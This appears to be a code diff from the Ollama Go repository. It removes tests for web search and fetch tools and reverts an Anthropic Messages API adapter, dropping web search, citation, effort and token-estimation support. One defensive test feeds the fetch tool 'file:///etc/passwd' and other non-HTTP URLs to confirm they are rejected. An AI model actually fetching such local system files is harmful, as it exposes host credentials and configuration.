-	if !coreagent.ToolRequiresApproval((&WebSearch{}), map[string]any{"query": "ollama"}) {
-		t.Fatal("web search should require approval")
-	}
-	if !coreagent.ToolRequiresApproval((&WebFetch{}), map[string]any{"url": "https://ollama.com"}) {
-		t.Fatal("web fetch should require approval")
-	}
-}
-
-var webToolCases = []struct {
-	name      string
-	tool      coreagent.Tool
-	args      map[string]any
-	path      string
-	operation string
-}{
-	{"search", &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", "web search is unavailable"},
-	{"fetch", &WebFetch{}, map[string]any{"url": "https://ollama.com"}, "/api/experimental/web_fetch", "web fetch is unavailable"},
-}
-
-// enableWebToolsForTest isolates web tool tests from the runner's cloud
-// policy. In particular, Windows can inherit both OLLAMA_NO_CLOUD and a
-// server.json from USERPROFILE.
-func enableWebToolsForTest(t *testing.T) {
-	t.Helper()
-
-	// Register before t.Setenv so the cache is refreshed after t.Setenv has
-	// restored the runner's environment during cleanup.
-	t.Cleanup(envconfig.ReloadServerConfig)
-
-	home := t.TempDir()
-	t.Setenv("HOME", home)
-	t.Setenv("USERPROFILE", home)
-	t.Setenv("OLLAMA_NO_CLOUD", "")
-	envconfig.ReloadServerConfig()
-}
-
-// runWebTool executes tool against a stub server that responds to every
-// request with status and body, returning the resulting error.
-func runWebTool(t *testing.T, tool coreagent.Tool, args map[string]any, path string, status int, body string) error {
-	t.Helper()
-	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		if r.URL.Path != path {
-			t.Fatalf("path = %q, want %q", r.URL.Path, path)
-		}
-		w.Header().Set("Content-Type", "application/json")
-		w.WriteHeader(status)
-		_, _ = w.Write([]byte(body))
-	}))
-	t.Cleanup(ts.Close)
-	t.Setenv("OLLAMA_HOST", ts.URL)
-	_, err := tool.Execute(t.Context(), coreagent.ToolContext{}, args)
-	return err
-}
-
-func TestWebToolsReportAuthenticationError(t *testing.T) {
-	enableWebToolsForTest(t)
-
-	for _, tt := range webToolCases {
-		t.Run(tt.name, func(t *testing.T) {
-			err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusUnauthorized,
-				`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
-			if !errors.Is(err, ErrWebAuthRequired) {
-				t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
-			}
-		})
-	}
-}
-
-func TestWebToolsPreserveNonAuthenticationErrors(t *testing.T) {
-	enableWebToolsForTest(t)
-
-	for _, tt := range webToolCases {
-		t.Run(tt.name, func(t *testing.T) {
-			err := runWebTool(t, tt.tool, tt.args, tt.path, http.StatusTooManyRequests,
-				`{"error":"web search quota exceeded"}`)
-			if err == nil {
-				t.Fatal("expected error")
-			}
-			if !strings.Contains(err.Error(), "web search quota exceeded") {
-				t.Fatalf("error = %q, want original error message", err)
-			}
-		})
-	}
-}
-
-func TestWebToolsIgnoreInheritedCloudPolicy(t *testing.T) {
-	// This cleanup is registered before the test environment, so it restores
-	// the server config cache after t.Setenv restores the runner's values.
-	t.Cleanup(envconfig.ReloadServerConfig)
-
-	home := t.TempDir()
-	configPath := filepath.Join(home, ".ollama", "server.json")
-	if err := os.MkdirAll(filepath.Dir(configPath), 0o755); err != nil {
-		t.Fatal(err)
-	}
-	if err := os.WriteFile(configPath, []byte(`{"disable_ollama_cloud":true}`), 0o644); err != nil {
-		t.Fatal(err)
-	}
-	t.Setenv("HOME", home)
-	t.Setenv("USERPROFILE", home)
-	t.Setenv("OLLAMA_NO_CLOUD", "1")
-	envconfig.ReloadServerConfig()
-
-	enableWebToolsForTest(t)
-	err := runWebTool(t, &WebSearch{}, map[string]any{"query": "ollama"}, "/api/experimental/web_search", http.StatusUnauthorized,
-		`{"error":"unauthorized","signin_url":"https://ollama.com/signin"}`)
-	if !errors.Is(err, ErrWebAuthRequired) {
-		t.Fatalf("error = %v, want %v", err, ErrWebAuthRequired)
-	}
-}
-
-func TestWebFetchRejectsUnsupportedScheme(t *testing.T) {
-	enableWebToolsForTest(t)
-
-	tests := []struct {
-		name    string
-		url     string
-		wantErr bool
-	}{
-		{name: "file scheme", url: "file:///etc/passwd", wantErr: true},
-		{name: "data scheme", url: "data:text/plain,secret", wantErr: true},
-		{name: "ftp scheme", url: "ftp://example.com/secret", wantErr: true},
-		{name: "http allowed", url: "http://example.com", wantErr: false},
-		{name: "https allowed", url: "https://example.com", wantErr: false},
-	}
-	for _, tt := range tests {
-		t.Run(tt.name, func(t *testing.T) {
-			_, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{"url": tt.url})
-			if tt.wantErr && err == nil {
-				t.Fatal("expected unsupported scheme to be rejected")
-			}
-			// For allowed schemes we expect an error only from the missing
-			// server/auth path, not from scheme validation. The http/https
-			// cases reach the client and may fail on connection/auth; we only
-			// assert that the error is NOT a scheme error.
-			if !tt.wantErr && err != nil && strings.Contains(err.Error(), "unsupported URL scheme") {
-				t.Fatalf("http/https rejected as unsupported: %v", err)
-			}
-		})
-	}
-}
-
-func TestWebFetchBoundsContentBeforeReturning(t *testing.T) {
-	enableWebToolsForTest(t)
-
-	ts := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
-		if r.URL.Path != "/api/experimental/web_fetch" {
-			t.Fatalf("path = %q, want /api/experimental/web_fetch", r.URL.Path)
-		}
-		var req api.WebFetchRequest
-		if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
-			t.Fatal(err)
-		}
-		if req.URL != "https://ollama.com" {
-			t.Fatalf("request URL = %q, want https://ollama.com", req.URL)
-		}
-		if err := json.NewEncoder(w).Encode(api.WebFetchResponse{
-			Title:   "Ollama",
-			Content: strings.Repeat("x", maxWebFetchContentRunes+25),
-		}); err != nil {
-			t.Fatal(err)
-		}
-	}))
-	defer ts.Close()
-	t.Setenv("OLLAMA_HOST", ts.URL)
-
-	result, err := (&WebFetch{}).Execute(t.Context(), coreagent.ToolContext{}, map[string]any{
-		"url": "https://ollama.com",
-	})
-	if err != nil {
-		t.Fatal(err)
-	}
-	if !strings.Contains(result.Content, "[tool output truncated: showing first ~") ||
-		!strings.Contains(result.Content, "omitted ~7 tokens") ||
-		!strings.Contains(result.Content, "Use a narrower request or search query") {
-		t.Fatalf("content missing truncation marker: %q", result.Content)
-	}
-	if count := strings.Count(result.Content, "x"); count != maxWebFetchContentRunes {
-		t.Fatalf("captured content count = %d, want %d", count, maxWebFetchContentRunes)
-	}
-}
-
-func TestWebToolsRejectWhenCloudDisabled(t *testing.T) {
-	t.Setenv("OLLAMA_NO_CLOUD", "1")
-
-	for _, tt := range webToolCases {
-		t.Run(tt.name, func(t *testing.T) {
-			_, err := tt.tool.Execute(t.Context(), coreagent.ToolContext{}, tt.args)
-			want := internalcloud.DisabledError(tt.operation)
-			if err == nil || err.Error() != want {
-				t.Fatalf("error = %v, want %q", err, want)
-			}
-		})
-	}
-}

anthropic/anthropic.go

@@ -1,25 +1,17 @@
 package anthropic
 
 import (
-	"bytes"
-	"context"
 	"crypto/rand"
 	"encoding/base64"
 	"encoding/json"
 	"errors"
 	"fmt"
-	"io"
 	"log/slog"
 	"net/http"
-	"net/url"
-	"strconv"
 	"strings"
 	"time"
 
 	"github.com/ollama/ollama/api"
-	"github.com/ollama/ollama/auth"
-	internalcloud "github.com/ollama/ollama/internal/cloud"
-	"github.com/ollama/ollama/logutil"
 )
 
 // Error types matching Anthropic API
@@ -68,7 +60,7 @@ type MessagesRequest struct {
 	Model         string          `json:"model"`
 	MaxTokens     int             `json:"max_tokens"`
 	Messages      []MessageParam  `json:"messages"`
-	System        any             `json:"system,omitempty"` // string or []map[string]any (JSON-decoded ContentBlock)
+	System        any             `json:"system,omitempty"` // string or []ContentBlock
 	Stream        bool            `json:"stream,omitempty"`
 	Temperature   *float64        `json:"temperature,omitempty"`
 	TopP          *float64        `json:"top_p,omitempty"`
@@ -78,61 +70,34 @@ type MessagesRequest struct {
 	ToolChoice    *ToolChoice     `json:"tool_choice,omitempty"`
 	Thinking      *ThinkingConfig `json:"thinking,omitempty"`
 	Metadata      *Metadata       `json:"metadata,omitempty"`
-	OutputConfig  *OutputConfig   `json:"output_config,omitempty"`
-}
-
-type OutputConfig struct {
-	Effort string `json:"effort,omitempty"`
 }
 
 // MessageParam represents a message in the request
 type MessageParam struct {
-	Role    string         `json:"role"`    // "user" or "assistant"
-	Content []ContentBlock `json:"content"` // always []ContentBlock; plain strings are normalized on unmarshal
-}
-
-func (m *MessageParam) UnmarshalJSON(data []byte) error {
-	var raw struct {
-		Role    string          `json:"role"`
-		Content json.RawMessage `json:"content"`
-	}
-	if err := json.Unmarshal(data, &raw); err != nil {
-		return err
-	}
-	m.Role = raw.Role
-
-	var s string
-	if err := json.Unmarshal(raw.Content, &s); err == nil {
-		m.Content = []ContentBlock{{Type: "text", Text: &s}}
-		return nil
-	}
-
-	return json.Unmarshal(raw.Content, &m.Content)
+	Role    string `json:"role"`    // "user" or "assistant"
+	Content any    `json:"content"` // string or []ContentBlock
 }
 
 // ContentBlock represents a content block in a message.
 // Text and Thinking use pointers so they serialize as the field being present (even if empty)
 // only when set, which is required for SDK streaming accumulation.
 type ContentBlock struct {
-	Type string `json:"type"` // text, image, tool_use, tool_result, thinking, server_tool_use, web_search_tool_result
+	Type string `json:"type"` // text, image, tool_use, tool_result, thinking
 
 	// For text blocks - pointer so field only appears when set (SDK requires it for accumulation)
 	Text *string `json:"text,omitempty"`
 
-	// For text blocks with citations
-	Citations []Citation `json:"citations,omitempty"`
-
 	// For image blocks
 	Source *ImageSource `json:"source,omitempty"`
 
-	// For tool_use and server_tool_use blocks
-	ID    string                        `json:"id,omitempty"`
-	Name  string                        `json:"name,omitempty"`
-	Input api.ToolCallFunctionArguments `json:"input,omitzero"`
+	// For tool_use blocks
+	ID    string `json:"id,omitempty"`
+	Name  string `json:"name,omitempty"`
+	Input any    `json:"input,omitempty"`
 
-	// For tool_result and web_search_tool_result blocks
+	// For tool_result blocks
 	ToolUseID string `json:"tool_use_id,omitempty"`
-	Content   any    `json:"content,omitempty"` // string, []ContentBlock, []WebSearchResult, or WebSearchToolResultError
+	Content   any    `json:"content,omitempty"` // string or []ContentBlock
 	IsError   bool   `json:"is_error,omitempty"`
 
 	// For thinking blocks - pointer so field only appears when set (SDK requires it for accumulation)
@@ -140,33 +105,9 @@ type ContentBlock struct {
 	Signature string  `json:"signature,omitempty"`
 }
 
-// Citation represents a citation in a text block
-type Citation struct {
-	Type           string `json:"type"` // "web_search_result_location"
-	URL            string `json:"url"`
-	Title          string `json:"title"`
-	EncryptedIndex string `json:"encrypted_index,omitempty"`
-	CitedText      string `json:"cited_text,omitempty"`
-}
-
-// WebSearchResult represents a single web search result
-type WebSearchResult struct {
-	Type             string `json:"type"` // "web_search_result"
-	URL              string `json:"url"`
-	Title            string `json:"title"`
-	EncryptedContent string `json:"encrypted_content,omitempty"`
-	PageAge          string `json:"page_age,omitempty"`
-}
-
-// WebSearchToolResultError represents an error from web search
-type WebSearchToolResultError struct {
-	Type      string `json:"type"` // "web_search_tool_result_error"
-	ErrorCode string `json:"error_code"`
-}
-
 // ImageSource represents the source of an image
 type ImageSource struct {
-	Type      string `json:"type"` // "base64"
+	Type      string `json:"type"` // "base64" or "url"
 	MediaType string `json:"media_type,omitempty"`
 	Data      string `json:"data,omitempty"`
 	URL       string `json:"url,omitempty"`
@@ -174,13 +115,10 @@ type ImageSource struct {
 
 // Tool represents a tool definition
 type Tool struct {
-	Type        string          `json:"type,omitempty"` // "custom" for user-defined tools, or "web_search_20250305" for web search
+	Type        string          `json:"type,omitempty"` // "custom" for user-defined tools
 	Name        string          `json:"name"`
 	Description string          `json:"description,omitempty"`
 	InputSchema json.RawMessage `json:"input_schema,omitempty"`
-
-	// Web search specific fields
-	MaxUses int `json:"max_uses,omitempty"`
 }
 
 // ToolChoice controls how the model uses tools
@@ -273,7 +211,6 @@ type MessageDelta struct {
 
 // DeltaUsage contains cumulative token usage
 type DeltaUsage struct {
-	InputTokens  int `json:"input_tokens"`
 	OutputTokens int `json:"output_tokens"`
 }
 
@@ -295,8 +232,6 @@ type StreamErrorEvent struct {
 
 // FromMessagesRequest converts an Anthropic MessagesRequest to an Ollama api.ChatRequest
 func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
-	logutil.Trace("anthropic: converting request", "req", TraceMessagesRequest(r))
-
 	var messages []api.Message
 
 	if r.System != nil {
@@ -323,10 +258,9 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
 		}
 	}
 
-	for i, msg := range r.Messages {
+	for _, msg := range r.Messages {
 		converted, err := convertMessage(msg)
 		if err != nil {
-			logutil.Trace("anthropic: message conversion failed", "index", i, "role", msg.Role, "err", err)
 			return nil, err
 		}
 		messages = append(messages, converted...)
@@ -353,24 +287,8 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
 	}
 
 	var tools api.Tools
-	hasBuiltinWebSearch := false
 	for _, t := range r.Tools {
-		if strings.HasPrefix(t.Type, "web_search") {
-			hasBuiltinWebSearch = true
-			break
-		}
-	}
-
-	for _, t := range r.Tools {
-		// Anthropic built-in web_search maps to Ollama function name "web_search".
-		// If a user-defined tool also uses that name in the same request, drop the
-		// user-defined one to avoid ambiguous tool-call routing.
-		if hasBuiltinWebSearch && !strings.HasPrefix(t.Type, "web_search") && t.Name == "web_search" {
-			logutil.Trace("anthropic: dropping colliding custom web_search tool", "tool", TraceTool(t))
-			continue
-		}
-
-		tool, _, err := convertTool(t)
+		tool, err := convertTool(t)
 		if err != nil {
 			return nil, err
 		}
@@ -378,39 +296,20 @@ func FromMessagesRequest(r MessagesRequest) (*api.ChatRequest, error) {
 	}
 
 	var think *api.ThinkValue
-	normalizedEffort := ""
-	if r.OutputConfig != nil {
-		normalizedEffort = strings.ToLower(strings.TrimSpace(r.OutputConfig.Effort))
-		if normalizedEffort == "xhigh" {
-			normalizedEffort = "high"
-		}
-	}
-
 	if r.Thinking != nil && r.Thinking.Type == "enabled" {
 		think = &api.ThinkValue{Value: true}
 	}
-	if r.Thinking != nil && r.Thinking.Type == "disabled" {
-		think = &api.ThinkValue{Value: false}
-	}
-	if think == nil && r.OutputConfig != nil {
-		switch normalizedEffort {
-		case "high", "medium", "low", "max":
-			think = &api.ThinkValue{Value: normalizedEffort}
-		}
-	}
 
 	stream := r.Stream
-	convertedRequest := &api.ChatRequest{
+
+	return &api.ChatRequest{
 		Model:    r.Model,
 		Messages: messages,
 		Options:  options,
 		Stream:   &stream,
 		Tools:    tools,
 		Think:    think,
-	}
-	logutil.Trace("anthropic: converted request", "req", TraceChatRequest(convertedRequest))
-
-	return convertedRequest, nil
+	}, nil
 }
 
 // convertMessage converts an Anthropic MessageParam to Ollama api.Message(s)
@@ -418,227 +317,129 @@ func convertMessage(msg MessageParam) ([]api.Message, error) {
 	var messages []api.Message
 	role := strings.ToLower(msg.Role)
 
-	var textContent strings.Builder
-	var images []api.ImageData
-	var toolCalls []api.ToolCall
-	var thinking string
-	var toolResults []api.Message
-	textBlocks := 0
-	imageBlocks := 0
-	toolUseBlocks := 0
-	toolResultBlocks := 0
-	serverToolUseBlocks := 0
-	webSearchToolResultBlocks := 0
-	thinkingBlocks := 0
-	unknownBlocks := 0
+	switch content := msg.Content.(type) {
+	case string:
+		messages = append(messages, api.Message{Role: role, Content: content})
 
-	for _, block := range msg.Content {
-		switch block.Type {
-		case "text":
-			textBlocks++
-			if block.Text != nil {
-				textContent.WriteString(*block.Text)
+	case []any:
+		var textContent strings.Builder
+		var images []api.ImageData
+		var toolCalls []api.ToolCall
+		var thinking string
+		var toolResults []api.Message
+
+		for _, block := range content {
+			blockMap, ok := block.(map[string]any)
+			if !ok {
+				return nil, errors.New("invalid content block format")
 			}
 
-		case "image":
-			imageBlocks++
-			if block.Source == nil {
-				logutil.Trace("anthropic: invalid image source", "role", role)
-				return nil, errors.New("invalid image source")
+			blockType, _ := blockMap["type"].(string)
+
+			switch blockType {
+			case "text":
+				if text, ok := blockMap["text"].(string); ok {
+					textContent.WriteString(text)
+				}
+
+			case "image":
+				source, ok := blockMap["source"].(map[string]any)
+				if !ok {
+					return nil, errors.New("invalid image source")
+				}
+
+				sourceType, _ := source["type"].(string)
+				if sourceType == "base64" {
+					data, _ := source["data"].(string)
+					decoded, err := base64.StdEncoding.DecodeString(data)
+					if err != nil {
+						return nil, fmt.Errorf("invalid base64 image data: %w", err)
+					}
+					images = append(images, decoded)
+				} else {
+					return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", sourceType)
+				}
+				// URL images would need to be fetched - skip for now
+
+			case "tool_use":
+				id, ok := blockMap["id"].(string)
+				if !ok {
+					return nil, errors.New("tool_use block missing required 'id' field")
+				}
+				name, ok := blockMap["name"].(string)
+				if !ok {
+					return nil, errors.New("tool_use block missing required 'name' field")
+				}
+				tc := api.ToolCall{
+					ID: id,
+					Function: api.ToolCallFunction{
+						Name: name,
+					},
+				}
+				if input, ok := blockMap["input"].(map[string]any); ok {
+					tc.Function.Arguments = mapToArgs(input)
+				}
+				toolCalls = append(toolCalls, tc)
+
+			case "tool_result":
+				toolUseID, _ := blockMap["tool_use_id"].(string)
+				var resultContent string
+
+				switch c := blockMap["content"].(type) {
+				case string:
+					resultContent = c
+				case []any:
+					for _, cb := range c {
+						if cbMap, ok := cb.(map[string]any); ok {
+							if cbMap["type"] == "text" {
+								if text, ok := cbMap["text"].(string); ok {
+									resultContent += text
+								}
+							}
+						}
+					}
+				}
+
+				toolResults = append(toolResults, api.Message{
+					Role:       "tool",
+					Content:    resultContent,
+					ToolCallID: toolUseID,
+				})
+
+			case "thinking":
+				if t, ok := blockMap["thinking"].(string); ok {
+					thinking = t
+				}
 			}
-
-			decoded, err := resolveImageSource(block.Source)
-			if err != nil {
-				logutil.Trace("anthropic: unsupported image source", "role", role, "source_type", block.Source.Type, "error", err)
-				return nil, err
-			}
-			images = append(images, decoded)
-
-		case "tool_use":
-			toolUseBlocks++
-			if block.ID == "" {
-				logutil.Trace("anthropic: tool_use block missing id", "role", role)
-				return nil, errors.New("tool_use block missing required 'id' field")
-			}
-			if block.Name == "" {
-				logutil.Trace("anthropic: tool_use block missing name", "role", role)
-				return nil, errors.New("tool_use block missing required 'name' field")
-			}
-			toolCalls = append(toolCalls, api.ToolCall{
-				ID: block.ID,
-				Function: api.ToolCallFunction{
-					Name:      block.Name,
-					Arguments: block.Input,
-				},
-			})
-
-		case "tool_result":
-			toolResultBlocks++
-			resultContent, resultImages, err := convertToolResultContent(block.Content)
-			if err != nil {
-				logutil.Trace("anthropic: invalid tool_result content", "role", role, "error", err)
-				return nil, err
-			}
-
-			toolResults = append(toolResults, api.Message{
-				Role:       "tool",
-				Content:    resultContent,
-				Images:     resultImages,
-				ToolCallID: block.ToolUseID,
-			})
-
-		case "thinking":
-			thinkingBlocks++
-			if block.Thinking != nil {
-				thinking = *block.Thinking
-			}
-
-		case "server_tool_use":
-			serverToolUseBlocks++
-			toolCalls = append(toolCalls, api.ToolCall{
-				ID: block.ID,
-				Function: api.ToolCallFunction{
-					Name:      block.Name,
-					Arguments: block.Input,
-				},
-			})
-
-		case "web_search_tool_result":
-			webSearchToolResultBlocks++
-			toolResults = append(toolResults, api.Message{
-				Role:       "tool",
-				Content:    formatWebSearchToolResultContent(block.Content),
-				ToolCallID: block.ToolUseID,
-			})
-		default:
-			unknownBlocks++
 		}
-	}
 
-	if role == "user" && len(toolResults) > 0 {
-		messages = append(messages, toolResults...)
-	}
-
-	if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
-		m := api.Message{
-			Role:      role,
-			Content:   textContent.String(),
-			Images:    images,
-			ToolCalls: toolCalls,
-			Thinking:  thinking,
+		if textContent.Len() > 0 || len(images) > 0 || len(toolCalls) > 0 || thinking != "" {
+			m := api.Message{
+				Role:      role,
+				Content:   textContent.String(),
+				Images:    images,
+				ToolCalls: toolCalls,
+				Thinking:  thinking,
+			}
+			messages = append(messages, m)
 		}
-		messages = append(messages, m)
-	}
 
-	// Add tool results as separate messages.
-	if role != "user" || len(toolResults) == 0 {
+		// Add tool results as separate messages
 		messages = append(messages, toolResults...)
+
+	default:
+		return nil, fmt.Errorf("invalid message content type: %T", content)
 	}
-	logutil.Trace("anthropic: converted block message",
-		"role", role,
-		"blocks", len(msg.Content),
-		"text", textBlocks,
-		"image", imageBlocks,
-		"tool_use", toolUseBlocks,
-		"tool_result", toolResultBlocks,
-		"server_tool_use", serverToolUseBlocks,
-		"web_search_result", webSearchToolResultBlocks,
-		"thinking", thinkingBlocks,
-		"unknown", unknownBlocks,
-		"messages", TraceAPIMessages(messages),
-	)
 
 	return messages, nil
 }
 
-func formatWebSearchToolResultContent(content any) string {
-	switch c := content.(type) {
-	case string:
-		return c
-	case []WebSearchResult:
-		var resultContent strings.Builder
-		for _, item := range c {
-			if item.Type != "web_search_result" {
-				continue
-			}
-			fmt.Fprintf(&resultContent, "- %s: %s\n", item.Title, item.URL)
-		}
-		return resultContent.String()
-	case []any:
-		var resultContent strings.Builder
-		for _, item := range c {
-			itemMap, ok := item.(map[string]any)
-			if !ok {
-				continue
-			}
-			switch itemMap["type"] {
-			case "web_search_result":
-				title, _ := itemMap["title"].(string)
-				url, _ := itemMap["url"].(string)
-				fmt.Fprintf(&resultContent, "- %s: %s\n", title, url)
-			case "web_search_tool_result_error":
-				errorCode, _ := itemMap["error_code"].(string)
-				if errorCode == "" {
-					return "web_search_tool_result_error"
-				}
-				return "web_search_tool_result_error: " + errorCode
-			}
-		}
-		return resultContent.String()
-	case map[string]any:
-		if c["type"] == "web_search_tool_result_error" {
-			errorCode, _ := c["error_code"].(string)
-			if errorCode == "" {
-				return "web_search_tool_result_error"
-			}
-			return "web_search_tool_result_error: " + errorCode
-		}
-		data, err := json.Marshal(c)
-		if err != nil {
-			return ""
-		}
-		return string(data)
-	case WebSearchToolResultError:
-		if c.ErrorCode == "" {
-			return "web_search_tool_result_error"
-		}
-		return "web_search_tool_result_error: " + c.ErrorCode
-	default:
-		data, err := json.Marshal(c)
-		if err != nil {
-			return ""
-		}
-		return string(data)
-	}
-}
-
-// convertTool converts an Anthropic Tool to an Ollama api.Tool, returning true if it's a server tool
-func convertTool(t Tool) (api.Tool, bool, error) {
-	if strings.HasPrefix(t.Type, "web_search") {
-		props := api.NewToolPropertiesMap()
-		props.Set("query", api.ToolProperty{
-			Type:        api.PropertyType{"string"},
-			Description: "The search query to look up on the web",
-		})
-		return api.Tool{
-			Type: "function",
-			Function: api.ToolFunction{
-				Name:        "web_search",
-				Description: "Search the web for current information. Use this to find up-to-date information about any topic.",
-				Parameters: api.ToolFunctionParameters{
-					Type:       "object",
-					Required:   []string{"query"},
-					Properties: props,
-				},
-			},
-		}, true, nil
-	}
-
+// convertTool converts an Anthropic Tool to an Ollama api.Tool
+func convertTool(t Tool) (api.Tool, error) {
 	var params api.ToolFunctionParameters
 	if len(t.InputSchema) > 0 {
 		if err := json.Unmarshal(t.InputSchema, &params); err != nil {
-			logutil.Trace("anthropic: invalid tool schema", "tool", t.Name, "err", err)
-			return api.Tool{}, false, fmt.Errorf("invalid input_schema for tool %q: %w", t.Name, err)
+			return api.Tool{}, fmt.Errorf("invalid input_schema for tool %q: %w", t.Name, err)
 		}
 	}
 
@@ -649,7 +450,7 @@ func convertTool(t Tool) (api.Tool, bool, error) {
 			Description: t.Description,
 			Parameters:  params,
 		},
-	}, false, nil
+	}, nil
 }
 
 // ToMessagesResponse converts an Ollama api.ChatResponse to an Anthropic MessagesResponse
@@ -716,26 +517,24 @@ func mapStopReason(reason string, hasToolCalls bool) string {
 
 // StreamConverter manages state for converting Ollama streaming responses to Anthropic format
 type StreamConverter struct {
-	ID                   string
-	Model                string
-	firstWrite           bool
-	contentIndex         int
-	inputTokens          int
-	outputTokens         int
-	estimatedInputTokens int // Estimated tokens from request (used when actual metrics are 0)
-	thinkingStarted      bool
-	thinkingDone         bool
-	textStarted          bool
-	toolCallsSent        map[string]bool
+	ID              string
+	Model           string
+	firstWrite      bool
+	contentIndex    int
+	inputTokens     int
+	outputTokens    int
+	thinkingStarted bool
+	thinkingDone    bool
+	textStarted     bool
+	toolCallsSent   map[string]bool
 }
 
-func NewStreamConverter(id, model string, estimatedInputTokens int) *StreamConverter {
+func NewStreamConverter(id, model string) *StreamConverter {
 	return &StreamConverter{
-		ID:                   id,
-		Model:                model,
-		firstWrite:           true,
-		estimatedInputTokens: estimatedInputTokens,
-		toolCallsSent:        make(map[string]bool),
+		ID:            id,
+		Model:         model,
+		firstWrite:    true,
+		toolCallsSent: make(map[string]bool),
 	}
 }
 
@@ -751,11 +550,7 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 
 	if c.firstWrite {
 		c.firstWrite = false
-		// Use actual metrics if available, otherwise use estimate
 		c.inputTokens = r.Metrics.PromptEvalCount
-		if c.inputTokens == 0 && c.estimatedInputTokens > 0 {
-			c.inputTokens = c.estimatedInputTokens
-		}
 
 		events = append(events, StreamEvent{
 			Event: "message_start",
@@ -777,18 +572,6 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 	}
 
 	if r.Message.Thinking != "" && !c.thinkingDone {
-		if c.textStarted {
-			events = append(events, StreamEvent{
-				Event: "content_block_stop",
-				Data: ContentBlockStopEvent{
-					Type:  "content_block_stop",
-					Index: c.contentIndex,
-				},
-			})
-			c.contentIndex++
-			c.textStarted = false
-		}
-
 		if !c.thinkingStarted {
 			c.thinkingStarted = true
 			events = append(events, StreamEvent{
@@ -863,19 +646,6 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 			continue
 		}
 
-		// Close thinking block if still open (thinking → tool_use without text in between)
-		if c.thinkingStarted && !c.thinkingDone {
-			c.thinkingDone = true
-			events = append(events, StreamEvent{
-				Event: "content_block_stop",
-				Data: ContentBlockStopEvent{
-					Type:  "content_block_stop",
-					Index: c.contentIndex,
-				},
-			})
-			c.contentIndex++
-		}
-
 		if c.textStarted {
 			events = append(events, StreamEvent{
 				Event: "content_block_stop",
@@ -893,6 +663,7 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 			slog.Error("failed to marshal tool arguments", "error", err, "tool_id", tc.ID)
 			continue
 		}
+
 		events = append(events, StreamEvent{
 			Event: "content_block_start",
 			Data: ContentBlockStartEvent{
@@ -902,7 +673,7 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 					Type:  "tool_use",
 					ID:    tc.ID,
 					Name:  tc.Function.Name,
-					Input: api.NewToolCallFunctionArguments(),
+					Input: map[string]any{},
 				},
 			},
 		})
@@ -950,7 +721,6 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 			})
 		}
 
-		c.inputTokens = r.Metrics.PromptEvalCount
 		c.outputTokens = r.Metrics.EvalCount
 		stopReason := mapStopReason(r.DoneReason, len(c.toolCallsSent) > 0)
 
@@ -962,7 +732,6 @@ func (c *StreamConverter) Process(r api.ChatResponse) []StreamEvent {
 					StopReason: stopReason,
 				},
 				Usage: DeltaUsage{
-					InputTokens:  c.inputTokens,
 					OutputTokens: c.outputTokens,
 				},
 			},
@@ -994,286 +763,16 @@ func GenerateMessageID() string {
 	return generateID("msg")
 }
 
-func resolveImageSource(source *ImageSource) (api.ImageData, error) {
-	if source.Type != "base64" {
-		return nil, fmt.Errorf("invalid image source type: %s. Only base64 images are supported.", source.Type)
-	}
-
-	decoded, err := base64.StdEncoding.DecodeString(source.Data)
-	if err != nil {
-		return nil, fmt.Errorf("invalid base64 image data: %w", err)
-	}
-
-	return decoded, nil
-}
-
-func convertToolResultContent(content any) (string, []api.ImageData, error) {
-	switch c := content.(type) {
-	case nil:
-		return "", nil, nil
-	case string:
-		return c, nil, nil
-	case []any:
-		var text strings.Builder
-		var images []api.ImageData
-
-		for _, cb := range c {
-			cbMap, ok := cb.(map[string]any)
-			if !ok {
-				continue
-			}
-
-			switch cbMap["type"] {
-			case "text":
-				if t, ok := cbMap["text"].(string); ok {
-					text.WriteString(t)
-				}
-			case "image":
-				rawSource, ok := cbMap["source"].(map[string]any)
-				if !ok {
-					return "", nil, errors.New("invalid tool_result image source")
-				}
-
-				var source ImageSource
-				if rawType, ok := rawSource["type"].(string); ok {
-					source.Type = rawType
-				}
-				if rawMediaType, ok := rawSource["media_type"].(string); ok {
-					source.MediaType = rawMediaType
-				}
-				if rawData, ok := rawSource["data"].(string); ok {
-					source.Data = rawData
-				}
-
-				img, err := resolveImageSource(&source)
-				if err != nil {
-					return "", nil, err
-				}
-				images = append(images, img)
-			}
-		}
-
-		return text.String(), images, nil
-	default:
-		return "", nil, nil
-	}
-}
-
 // ptr returns a pointer to the given string value
 func ptr(s string) *string {
 	return &s
 }
 
-// CountTokensRequest represents an Anthropic count_tokens request
-type CountTokensRequest struct {
-	Model    string          `json:"model"`
-	Messages []MessageParam  `json:"messages"`
-	System   any             `json:"system,omitempty"`
-	Tools    []Tool          `json:"tools,omitempty"`
-	Thinking *ThinkingConfig `json:"thinking,omitempty"`
-}
-
-// EstimateInputTokens estimates input tokens from a MessagesRequest (reuses CountTokensRequest logic)
-func EstimateInputTokens(req MessagesRequest) int {
-	return EstimateCountTokens(CountTokensRequest{
-		Model:    req.Model,
-		Messages: req.Messages,
-		System:   req.System,
-		Tools:    req.Tools,
-		Thinking: req.Thinking,
-	})
-}
-
-// CountTokensResponse represents an Anthropic count_tokens response
-type CountTokensResponse struct {
-	InputTokens int `json:"input_tokens"`
-}
-
-// EstimateCountTokens returns a rough estimate of tokens (len/4).
-// TODO: Replace with actual tokenization via Tokenize API for accuracy.
